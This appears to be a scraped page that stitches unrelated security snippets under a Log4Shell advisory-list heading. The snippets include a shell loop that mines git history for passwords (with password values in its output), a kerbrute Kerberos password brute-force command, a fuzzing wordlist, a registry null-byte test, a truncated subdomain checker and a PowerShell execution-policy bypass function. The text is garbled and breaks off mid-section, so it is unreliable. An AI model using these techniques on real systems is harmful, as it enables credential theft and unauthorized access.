Aung Khant yehgdotnet

Security Advisories / Bulletins / vendors Responses linked to Log4Shell (CVE-2021-44228)

Errors, typos, something to say ?

If you want to add a link, comment or send it to me
Feel free to report any mistake directly below in the comment or in DM on Twitter @SwitHak

Other great resources

Royce Williams list sorted by vendors responses Royce List
Very detailed list NCSC-NL
The list maintained by U.S. Cybersecurity and Infrastructure Security Agency: CISA List

Finding creds in git repos is awesome.

$ for commit in $(seq 1 $(git reflog | wc -l)); do git diff HEAD@{$commit} 2>/dev/null | grep password; done
-spring.datasource.password=g!'301T%y%xT@uL`
+spring.datasource.password=4AT&G;[H@&'\^uDK
-spring.datasource.password=UmAnR=-v|{2=gyx?
+spring.datasource.password=4AT&G;[H@&'\^uDK
...

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

set http or socks proxy environment variables

# set http proxy
export http_proxy=http://PROXYHOST:PROXYPORT

# set http proxy with user and password
export http_proxy=http://USERNAME:PASSWORD@PROXYHOST:PROXYPORT

# set http proxy with user and password (with special characters)

	0
	00
	01
	02
	03
	1
	1.0
	10
	100
	1000

	from Microsoft.Win32 import Registry
	from time import sleep
	rkey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\aatest")
	rkey.SetValue(u'\x00 this is a test',u'\x00look at me!')
	rkey.Close()
	rkey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\aatest")
	values = rkey.GetValueNames()
	print("We have {0} values.".format(str(len(values))))
	print("The value names returned are: {0}.".format(values[0]))
	value = rkey.GetValue(u'\x00 this is a test')

	#!/usr/bin/env python

	import requests

	try:
	read_file = open(input("Enter path of the file containing subdomains: "),'r')

	for host in read_file:
	domain = host.rstrip("\n")
	try:

	# Author: b0yd @rwincey
	# Website: securifera.com
	#
	# Setup:
	# -------------------------------------------------
	# pip install selenium
	# wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
	# google-chrome-stable --version
	# Vist http://chromedriver.chromium.org/downloads to identity the right version
	# wget https://chromedriver.storage.googleapis.com/72.0.3626.69/chromedriver_linux64.zip

	# from https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
	function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}
	Disable-ExecutionPolicy